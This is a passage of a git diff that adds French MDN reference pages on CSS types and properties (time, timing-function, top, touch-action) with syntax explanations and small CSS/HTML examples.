+translation_of: Web/CSS/time-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;time-percentage&gt;</code></strong> représente une valeur qui peut être de type {{Cssxref("time")}} ou une valeur qui peut être de type {{Cssxref("percentage")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Se référer à la documentation des types {{Cssxref("time")}} et {{Cssxref("percentage")}} pour plus de détails sur les syntaxes possibles pour chacun de ces types.</p>
+
+<h2 id="Utilisation_avec_calc()">Utilisation avec <code>calc()</code></h2>
+
+<p>Lorsqu'une valeur de type <code>&lt;time-percentage&gt;</code> est autorisée dans une déclaration, cela signifie que le pourcentage sera résolu comme un temps et qu'il peut donc être utilisée dans une expression {{Cssxref("calc()")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;time-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;time-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition du type <code>&lt;time-percentage&gt;</code>. Ajout de <code>calc()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.time-percentage")}}</p>
diff --git a/files/fr/web/css/time/index.html b/files/fr/web/css/time/index.html
new file mode 100644
index 0000000000..1dab59ddcb
--- /dev/null
+++ b/files/fr/web/css/time/index.html
@@ -0,0 +1,83 @@
+---
+title: <time>
+slug: Web/CSS/time
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/time
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;time&gt;</code></strong> indique des durées exprimées en secondes ou en millisecondes. Il est par exemple utilisé dans les propriétés {{cssxref("animation")}}, {{cssxref("transition")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur temporelle consiste en une valeur de type {{cssxref("&lt;number&gt;")}} immédiatement suivie d'une unité. Comme avec les autres unités CSS, il n'y a pas d'espace entre l'unité et le nombre. La valeur peut éventuellement être précédée d'un signe <code>+</code> ou <code>-</code>.</p>
+
+<p>Même si toutes les unités représentent le même temps pour la valeur <code>0</code>, l'unité ne doit pas être omises, car il ne s'agit pas d'une {{cssxref("&lt;length&gt;")}} : <code>0</code> n'est pas valide et ne représente pas <code>0s</code>, <code>0ms</code>.</p>
+
+<h3 id="Unités">Unités</h3>
+
+<dl>
+ <dt><code><a id="s">s</a></code></dt>
+ <dd>Cette unité permet d'exprimer le temps en secondes. Par exemple : <code>0s</code>, <code>1.5s</code>, <code>-60s</code>.</dd>
+ <dt><code><a id="ms">ms</a></code></dt>
+ <dd>Cette unité permet d'exprimer le temps en millisecondes. Par exemple : <code>0ms</code>, <code>1500ms</code>, <code>-6000ms</code>.</dd>
+</dl>
+
+<p>La conversion entre <code>s</code> et <code>ms</code> suit la logique suivante : <code>1s = 1000ms</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Valeurs_valides">Valeurs valides</h3>
+
+<pre class="brush: css example-good">12s         Nombre entier positif
+-456ms      Nombre entier négatif
+4.3ms       Nombre décimal
+14mS        L'unité n'est pas sensible à la casse, cependant les majuscules sont déconseillées pour s et ms.
++0s         Zero, précédé d'un + et suivi de son unité.
+-0ms        Zero, précédé d'un - et suivi de son unité (bien qu'étrange, ceci est autorisé).
+</pre>
+
+<h3 id="Valeurs_invalides">Valeurs invalides</h3>
+
+<pre class="brush: css example-bad">0           Bien qu'un zéro sans unité soit autorisé pour les longueurs, ceci n'est pas valide avec les autres dimensions.
+12.0        Il s'agit d'un nombre, pas d'un temps, l'unité est obligatoire.
+7 ms        Aucun espace n'est autorisé entre le nombre et l'unité.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition normative de <code>s</code> et <code>ms</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1','aural.html#times','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition informelle de <code>s</code> et <code>ms</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.types.time")}}</p>
diff --git a/files/fr/web/css/timing-function/index.html b/files/fr/web/css/timing-function/index.html
new file mode 100644
index 0000000000..9d3ffe95a3
--- /dev/null
+++ b/files/fr/web/css/timing-function/index.html
@@ -0,0 +1,274 @@
+---
+title: <timing-function>
+slug: Web/CSS/timing-function
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/easing-function
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;timing-function&gt;</code></strong> représente une fonction mathématique qui décrit la vitesse à laquelle évolue une valeur unidimensionnelle lors d'une transition ou d'une animation. Cela permet de définir une courbe d'accélération afin que la vitesse de l'animation puisse changer lors de son exécution. Ces fonctions sont souvent appelées « fonction de temporisation » ou « <em>easing functions</em> » (en anglais).</p>
+
+<p>Cette fonction prend comme entrée un ratio de temps (0 : l'état initial, 1 : l'état final) et produit un ratio d'évolution (sous la forme d'une valeur {{cssxref("&lt;number&gt;")}}) allant également de 0.0 à 1.0.</p>
+
+<p><img src="/files/3434/TF_with_output_gt_than_1.png"><img src="/files/3435/TF_with_output_gt_than_1_clipped.png" style="margin-right: 5px;"></p>
+
+<p>Le ratio de sortie peut être supérieur à 1.0 ou inférieur à 0.0. Cela entraînera l'animation « plus loin » que l'état final ou initial avant de revenir. Cela permettra de créer un effet de <em>rebondissement</em>.</p>
+
+<p>Toutefois, si la valeur de sortie correspondante est entrainée hors de son domaine de validité (par exemple une composante de couleur entraînée au-delà de 255), la valeur est ramenée à la valeur autorisée la plus proche (dans l'exemple : 255).</p>
+
+<h2 class="cleared" id="Valeurs">Valeurs</h2>
+
+<div style="width: 100%;">
+<p>CSS prend en charge deux types de fonctions de temporisation :</p>
+
+<ul>
+ <li>un sous-ensemble des courbes de Bézier cubiques</li>
+ <li>des fonctions en escalier.</li>
+</ul>
+
+<p>Les plus utiles de ces fonctions sont également disponibles via un mot-clé qui permet de les décrire.</p>
+
+<h3 id="La_classe_de_fonctions_cubic-bezier()">La classe de fonctions <code>cubic-bezier()</code></h3>
+
+<p style="float: left;"><img src="/files/3433/cubic-bezier,%20example.png"></p>
+
+<p>La notation fonctionnelle <code>cubic-bezier()</code> définit <a href="https://fr.wikipedia.org/wiki/Courbe_de_Bézier">une courbe de Bézier cubique</a>. Ces courbes sont continues et sont généralement « douces » (peu de variations) au début et à la fin.</p>
+
+<p>Une courbe de Bézier cubique se définit par quatre points P<sub>0</sub>, P<sub>1</sub>, P<sub>2</sub>, et P<sub>3</sub>. P<sub>0</sub> et P<sub>3</sub> correspondent respectivement au début et à la fin de la courbe. En CSS, ces points sont fixes car les coordonnées des points expriment des ratios. P<sub>0</sub> est donc <code>(0, 0)</code> (instant initial et état initial) et P<sub>3</sub> est <code>(1, 1)</code> (instant final et état final).</p>
+
+<p>Tous les courbes de Bézier cubiques ne peuvent pas être utilisées comme des fonctions de temporisation. Certaines de ces courbes ne sont pas des <a href="https://fr.wikipedia.org/wiki/Fonction_(math%C3%A9matiques)">fonctions mathématiques</a> (c'est-à-dire des courbes qui n'ont qu'une valeur pour une abscisse donnée). P<sub>0</sub> et P<sub>3</sub> sont fixés par la définition CSS et une courbe de Bézier cubique est donc uniquement valide si et seulement si les abscisses des points P<sub>1</sub> et P<sub>2</sub> sont toutes les deux comprises dans l'intervalle <code>[0, 1]</code>.</p>
+
+<p>Les courbes de Bézier cubiques pour lesquelles les ordonnées de P<sub>1</sub> et/ou P<sub>2</sub> sont situées en dehors de l'intervalle <code>[0, 1]</code> génèreront un effet de rebondissement.</p>
+
+<p>Lorsqu'on définit une courbe de Bézier invalide en CSS via <code>cubic-bezier</code>, le moteur ignore la déclaration dans son intégralité.</p>
+</div>
+
+<h4 id="Syntaxe">Syntaxe</h4>
+
+<pre class="syntaxbox">cubic-bezier(<em>x<sub>1</sub></em>, <em>y<sub>1</sub></em>, <em>x<sub>2</sub></em>, <em>y<sub>2</sub></em>)
+</pre>
+
+<p>avec</p>
+
+<dl>
+ <dt><strong><em>x<sub>1</sub></em>, <em>y<sub>1</sub></em>, <em>x<sub>2</sub></em>, <em>y<sub>2</sub></em></strong></dt>
+ <dd>qui sont des valeurs de type {{cssxref("&lt;number&gt;")}} représentant les abscisses et les ordonnées des points P<sub>1</sub> et P<sub>2</sub> définissant la courbe de Bézier cubique. x<sub>1</sub> et x<sub>2</sub> doivent appartenir à l'intervalle [0, 1], sinon la valeur est considérée comme invalide.</dd>
+</dl>
+
+<h4 id="Exemples">Exemples</h4>
+
+<p>Voici des courbes de Bézier cubiques qui peuvent être utilisées en CSS :</p>
+
+<pre class="brush: css">cubic-bezier(0.1, 0.7, 1.0, 0.1)
+
+cubic-bezier(0, 0, 1, 1)
+
+/* Des valeurs négatives pour les ordonnées pour */
+/* créer du rebondissement                       */
+cubic-bezier(0.1, -0.6, 0.2, 0)
+
+/* Idem avec des valeurs &gt; 1                     */
+cubic-bezier(0, 1.1, 0.8, 4)       </pre>
+
+<p>En revanche, ces définitions sont invalides :</p>
+
+<pre class="brush: css example-bad">/* Bien que le type de sortie puisse être une couleur */
+/* les courbes de Bézier fonctionnent avec des ratios */
+/* numériques */
+cubic-bezier(0.1, red, 1.0, green)
+
+/* Les abscisses doivent appartenir à l'intervalle [0, 1] */
+/* car sinon la courbe n'est pas une fonction temporelle. */
+cubic-bezier(2.45, 0.6, 4, 0.1)
+
+/* Il faut définir les deux points, il n'y a pas de valeur */
+/* par défaut. */
+cubic-bezier(0.3, 2.1)
+
+/* Les abscisses doivent appartenir à l'intervalle [0, 1] */
+/* car sinon la courbe n'est pas une fonction temporelle. */
+cubic-bezier(-1.9, 0.3, -0.2, 2.1)
+</pre>
+
+<h3 id="La_classe_de_fonction_steps()">La classe de fonction <code>steps()</code></h3>
+
+<p>La notation fonctionnelle <code>steps()</code> permet de définir <a href="https://en.wikipedia.org/wiki/Step_function">une fonction en escalier</a> qui découpe les valeurs de sortie en « marches » de même longueur. Chacune de ces marches correspondra à une étape de l'animation.</p>
+
+<p style="float: left;"><img src="/files/3436/steps(2,start).png" style="height: 332px; width: 248px;"></p>
+
+<p><code>steps(2, start)</code></p>
+
+<p style="float: left;"><img src="/files/3437/steps(4,end).png" style="height: 332px; width: 248px;"></p>
+
+<p><code>steps(4, end)</code></p>
+
+<h4 class="cleared" id="Syntaxe_2">Syntaxe</h4>
+
+<pre class="syntaxbox">steps(<em>nombre_de_marche</em>, <em>direction</em>)
+</pre>
+
+<p>avec</p>
+
+<dl>
+ <dt><code><strong><em>nombre_de_marche</em></strong></code></dt>
+ <dd>Un entier (valeur de type {{cssxref("&lt;integer&gt;")}} qui représente le nombre de marches composant la fonction en escalier.</dd>
+ <dt><code><strong><em>direction</em></strong></code></dt>
+ <dd>Un mot-clé qui indique si la fonction est continue à gauche ou continue à droite :
+ <ul>
+  <li><code>start</code> indique une fonction continue à gauche : la première marche se déroule à partir du début de l'animation</li>
+  <li><code>end</code> indique une fonction continue à droite : la dernière marche se déroule lors de la fin de l'animation.</li>
+ </ul>
+ <code>end</code> est la valeur par défaut.</dd>
+</dl>
+
+<h4 id="Exemples_2">Exemples</h4>
+
+<p>Voici des exemples de fonction de temporisation en escalier valides :</p>
+
+<pre class="brush: css">/* Il y a cinq marches et la dernière est utilisée */
+/* avant la fin de l'animation.                    */
+steps(5, end)
+
+/* Une fonction à deux marches dont la première se */
+/* déroule au début de l'animation.                */
+steps(2, start)
+
+/* Le deuxième paramètre est facultatif. */
+steps(2)
+</pre>
+
+<p>En revanche, celles-ci sont invalides :</p>
+
+<pre class="brush: css example-bad">/* Le premier paramètre doit être un entier (type */
+/* &lt;integer&gt;)                                     */
+steps(2.0, end)
+
+/* Le nombre d'étapes ne peut pas être négatif. */
+steps(-3, start)
+
+/* Il ne peut pas être nul.*/
+steps(0, end)
+</pre>
+
+<h3 id="La_classe_de_fonction_frames()">La classe de fonction <code>frames()</code></h3>
+
+<div class="note">
+<p><strong>Note :</strong> Le nom "frames" est <a href="https://github.com/w3c/csswg-drafts/issues/1301">actuellement en discussion</a> et la classe de fonction associée est actuellement désactivée dans les versions finales des différents navigateurs tant qu'une décision n'a pas été prise.</p>
+</div>
+
+<p>La notation fonctionnelle <code>frames()</code> définit une fonction en escalier avec des intervalles (les marches) équidistantes. La différence difference entre <code>frames()</code> et <code>steps()</code> est que <code>frames()</code> considèrent l'état initial (0%) et final (100%) comme étant des paliers à part entière. Ces états sont donc affichés aussi longtemps que les autres intervalles.</p>
+
+<p><img src="https://www.w3.org/TR/css-timing-1/frames-timing-func-examples.svg" style="float: left; height: 200px; width: 244px;"><code>frames(2), frames(4)</code></p>
+
+<p> </p>
+
+<p> </p>
+
+<h4 id="Syntaxe_3">Syntaxe</h4>
+
+<pre class="syntaxbox">steps(<var>nombre_etapes</var>)
+</pre>
+
+<p>où :</p>
+
+<dl>
+ <dt><var>nombre_etapes</var></dt>
+ <dd>Est un entier ({{cssxref("&lt;integer&gt;")}}) strictement positif qui représente le nombre d'intervalles équidistants qui composent la fonction en escalier.</dd>
+</dl>
+
+<h4 id="Exemples_3">Exemples</h4>
+
+<p>Ces fonctions de temporisation sont valides :</p>
+
+<pre class="brush: css">/* Le paramètre est un entier positif. */
+frames(10)
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="https://mdn.github.io/css-examples/animation-frames-timing-function/index-transitions.html">une démo de la fonction <code>frames()</code> avec un exemple fonctionnel</a> est disponible sur notre dépôt GitHub.</p>
+</div>
+
+<p>Ces fonctions de temporisation sont invalides :</p>
+
+<pre class="brush: css example-bad">/* Le paramètre passé à la fonction doit être un entier
+   et pas une valeur décimale, même si cette dernière est
+   égale à un entier. */
+frames(2.0)
+
+/* Le nombre de frames doit être positif. */
+frames(-3)
+
+/* Il doit y avoir au moins une frame. */
+frames(0)
+</pre>
+
+<h3 id="Mots-clés_pour_les_fonctions_de_temporisation_usuelles">Mots-clés pour les fonctions de temporisation usuelles</h3>
+
+<h4 id="linear"><code>linear</code></h4>
+
+<p><img src="/files/3425/cubic-bezier,linear.png" style="float: left; height: 332px; width: 249px;">Ce mot-clé représente la fonction de temporisation <code>cubic-bezier(</code><code>0.0, 0.0, 1.0, 1.0</code><code>)</code>. Cette fonction permet de passer de l'état initial à l'état final avec une vitesse constante.</p>
+
+<h4 class="cleared" id="ease"><code>ease</code></h4>
+
+<p><img src="/files/3429/cubic-bezier,ease.png" style="float: left; height: 332px; width: 244px;">Ce mot-clé représente la fonction de temporisation <code>cubic-bezier(0.25, 0.1, 0.25, 1.0)</code>. Cette fonction est semblable à <code>ease-in-out</code> sauf qu'elle accélère plus rapidement au début et ralentit dès la moitié du parcours..</p>
+
+<h4 class="cleared" id="ease-in"><code>ease-in</code></h4>
+
+<p><img src="/files/3426/cubic-bezier,ease-in.png" style="float: left; height: 332px; width: 249px;">Ce mot-clé représente la fonction de temporisation <code>cubic-bezier(0.42, 0.0, 1.0, 1.0)</code>. L'animation démarre lentement puis accélère progressivement jusqu'à atteindre l'état final. Cela donne l'impression que l'animation s'arrête brutalement.</p>
+
+<h4 class="cleared" id="ease-in-out"><code>ease-in-out</code></h4>
+
+<p><img src="/files/3428/cubic-bezier,ease-in-out.png" style="float: left; height: 332px; width: 244px;">Ce mot-clé représente la fonction de temporisation <code>cubic-bezier(</code><code>0.42, 0.0, 0.58, 1.0</code><code>)</code>. L'animation démarre lentement puis accélère progressivement avant de ralentir à nouveau à l'approche de l'état final. Dans la première phase, la courbe se comporte comme <code>ease-in</code> et dans la deuxième moitié, elle se comporte comme <code>ease-out</code>.</p>
+
+<h4 class="cleared" id="ease-out"><code>ease-out</code></h4>
+
+<p><img src="/files/3427/cubic-bezer,ease-out.png" style="float: left; height: 332px; width: 249px;">Ce mot-clé représente la fonction de temporisation <code>cubic-bezier(</code><code>0.0, 0.0, 0.58, 1.0</code><code>)</code>. L'animation démarre rapidement puis ralentit progressivement avant d'atteindre son état final.</p>
+
+<h4 class="cleared" id="step-start"><code>step-start</code></h4>
+
+<p><img src="/files/3423/steps(1,start).png" style="float: left; height: 332px; width: 248px;">Ce mot-clé représente la fonction de temporisation <code>steps(1, start)</code> (ou <code>steps(1, jump-start)</code>). Avec cette fonction, l'animation passe directement à l'état final dès le début et conserve cet état jusqu'à la fin de l'animation.</p>
+
+<h4 class="cleared" id="step-end"><code>step-end</code></h4>
+
+<p><img src="/files/3424/steps(1,end).png" style="float: left; height: 332px; width: 248px;">Ce mot-clé représente la fonction de temporisation <code>steps(1, end)</code> (ou <code>steps(1, jump-end)</code>). Avec cette fonction, l'animation reste dans son état initial tout le long de la durée et passe directement à la position finale à la toute fin.</p>
+
+<h2 class="cleared" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-timing-function', '&lt;timing-function&gt;')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-timing-function', '&lt;timing-function&gt;')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition de <code>&lt;single-timing-function&gt;</code> comme synonyme de <code>&lt;single-transition-timing-function&gt;</code> selon le module CSS pour les transitions.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.timing-function", 2)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés {{cssxref("transition-timing-function")}} et {{cssxref("animation-timing-function")}} qui utilisent une valeur de type <code>&lt;timing-function&gt;</code></li>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS">Les animations CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions">Les transitions CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/top/index.html b/files/fr/web/css/top/index.html
new file mode 100644
index 0000000000..64d8a462c4
--- /dev/null
+++ b/files/fr/web/css/top/index.html
@@ -0,0 +1,178 @@
+---
+title: top
+slug: Web/CSS/top
+tags:
+  - CSS
+  - Positionnement
+  - Propriété
+  - Reference
+translation_of: Web/CSS/top
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>top</code></strong> définit une partie de la position des éléments positionnés, elle n'a aucun effet pour les éléments non-positionnés.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/top.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'effet de la propriété <code>top</code> dépend de la façon dont l'élément est positionné (autrement dit, il dépend de la valeur de la propriété {{cssxref("position")}}) :</p>
+
+<ul>
+ <li>Pour les éléments qui sont positionnés de manière absolue ({{cssxref("position")}}<code>: absolute</code> ou {{cssxref("position")}}<code>: fixed</code>), cette propriété définit la distance entre le bord haut de la marge (<em>margin</em>) de l'élément et le bord haut du bloc englobant (il faut que le bloc englobant ait <code>position: relative</code>).</li>
+ <li>Lorsque <code>position</code> vaut <code>relative</code>, cela définit la grandeur du déplacement avec laquelle l'élément est placé en dessous de sa position normale.</li>
+ <li>Lorsque <code>position</code> vaut <code>sticky</code>, la propriété <code>top</code> se comporte comme avec <code>relative</code> lorsque l'élément se situe à l'intérieur de la zone d'affichage (<em>viewport</em>) et elle se comporte comme <code>fixed</code> lorsque l'élément est à l'extérieur de la zone d'affichage.</li>
+ <li>Lorsque <code>position</code> vaut <code>static</code>, la propriété <code>top</code> n'a aucun effet.</li>
+</ul>
+
+<p>Lorsque <code>top</code> et {{cssxref("bottom")}} sont utilisés tous les deux, tant que {{cssxref("height")}} n'est pas définie ou ne vaut pas <code>auto</code> ou <code>100%</code>, les distances introduites par <code>top</code> et {{cssxref("bottom")}} seront respectées. Sinon, si {{cssxref("height")}} est contrainte d'une certaine façon, la propriété <code>top</code> prendra le pas sur {{cssxref("bottom")}} qui sera ignorée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur de longueur */
+/* Type &lt;length&gt; */
+top: 3px;
+top: 2.4em;
+
+/* Valeur en pourcentages */
+/* Relative à la hauteur du bloc englobant */
+/* Type &lt;percentages&gt; */
+top: 10%;
+
+/* Avec un mot-clé */
+top: auto;
+
+/* Valeur globale */
+top: inherit;
+top: initial;
+top: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur négative, nulle ou positive du type {{cssxref("&lt;length&gt;")}} qui représente :
+ <ul>
+  <li>La distance depuis le bord haut du bloc englobant pour les <em>éléments positionnés de façon absolue</em></li>
+  <li>Le décalage avec lequel l'élément est déplacé vers le bas (relativement à sa position normale) pour <em>les éléments positionnés de façon relative</em>.</li>
+ </ul>
+ </dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur du type {{cssxref("&lt;percentage&gt;")}} qui est relative à la hauteur du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui représente :
+ <ul>
+  <li>Pour les éléments positionnés de façon absolue, la position de l'élément en fonction de la propriété {{cssxref("bottom")}} et qui traite <code>height: auto</code> comme une hauteur basée sur le contenu. Si <code>bottom</code>vaut également <code>auto</code>, l'élément est positionné verticalement comme s'il avait été un élément statique.</li>
+  <li>Pour les éléments positionnés de façon relative, le décalage de l'élément par rapport à sa position originale, basée sur la propriété {{cssxref("bottom")}}. Si <code>bottom</code> vaut également <code>auto</code>, aucun décalage n'est appliqué.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Positionnement_relatif">Positionnement relatif</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Lorem ipsum et tralala normal&lt;/p&gt;
+  &lt;p class="relatif"&gt;Lorem ipsum et tralala relatif&lt;/p&gt;
+  &lt;p&gt;Lorem ipsum et tralala normal&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  border: 2px black dashed;
+}
+
+p.relatif {
+  position: relative;
+  top: 5em;
+  border: 2px black solid
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Positionnement_relatif","100%","200")}}</p>
+
+<h3 id="Positionnement_absolu">Positionnement absolu</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Lorem ipsum et tralala normal&lt;/p&gt;
+  &lt;p class="absolu"&gt;Lorem ipsum et tralala absolu&lt;/p&gt;
+  &lt;p&gt;Lorem ipsum et tralala normal&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div {
+  border: 2px black dashed;
+}
+
+p.absolu {
+  position: absolute;
+  top: 5em;
+  border: 2px black solid;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Positionnement_absolu","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'top')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>top</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning', '#propdef-top', 'top')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Description du comportement pour le positionnement adhérent (<em>sticky</em>)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-top', 'top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.top")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/La_disposition#Le_positionnement">Les bases de CSS : la disposition et le positionnement</a></li>
+</ul>
diff --git a/files/fr/web/css/touch-action/index.html b/files/fr/web/css/touch-action/index.html
new file mode 100644
index 0000000000..f76ced27d0
--- /dev/null
+++ b/files/fr/web/css/touch-action/index.html
@@ -0,0 +1,160 @@
+---
+title: touch-action
+slug: Web/CSS/touch-action
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/touch-action
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>touch-action</code></strong> définit si une région donnée peut être manipulée par l'utilisateur grâce à des interactions tactiles (en déplaçant ou en zoomant) et comment cette interaction fonctionnera.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Avec un mot-clé */
+touch-action: auto;
+touch-action: none;
+touch-action: pan-x;
+touch-action: pan-left;
+touch-action: pan-right;
+touch-action: pan-y;
+touch-action: pan-up;
+touch-action: pan-down;
+touch-action: pinch-zoom;
+touch-action: manipulation;
+
+/* Valeurs globales */
+touch-action: inherit;
+touch-action: initial;
+touch-action: unset;
+</pre>
+
+<p>Par défaut, le déplacement et le zoom sont exclusivement gérés par le navigateur, ce qui déclenche un évènement {{event("pointercancel")}} à destination de l'application. En désactivant la prise en charge de ces gestes, l'application peut alors fournir ses propres gestionnaires d'évènements pour {{event("pointermove")}}, {{event("pointerup")}}.</p>
+
+<p>On utilise parfois cette propriété pour désactiver les interactions tactiles sur un élément pour un jeu ou une carte qui fournissent leur propre gestion tactile.</p>
+
+<p>Lorsqu'une interaction tactile a lieu, le navigateur inspecte les valeurs de <code>touch-action</code> pour l'élément et ses ancêtres jusqu'à atteindre l'élément qui implémente le geste (c'est-à-dire celui qui peut défiler/zoomer). En pratique, <code>touch-action</code> est généralement uniquement appliquée aux éléments de plus haut niveau ayant besoin d'un comportement spécifique. Il n'est pas nécessaire de redéfinir <code>touch-action</code> sur les descendants.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Lorsqu'un geste est déjà initié, tout changement sur <code>touch-action</code> n'aura aucun impact sur le geste en cours.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>touch-action</code> peut être définie grâce à :</p>
+
+<ul>
+ <li>l'un des mots-clés parmi <code><a href="#auto">auto</a></code>, <code><a href="#none">none</a></code>, <code><a href="#manipulation">manipulation</a></code><em> ou</em></li>
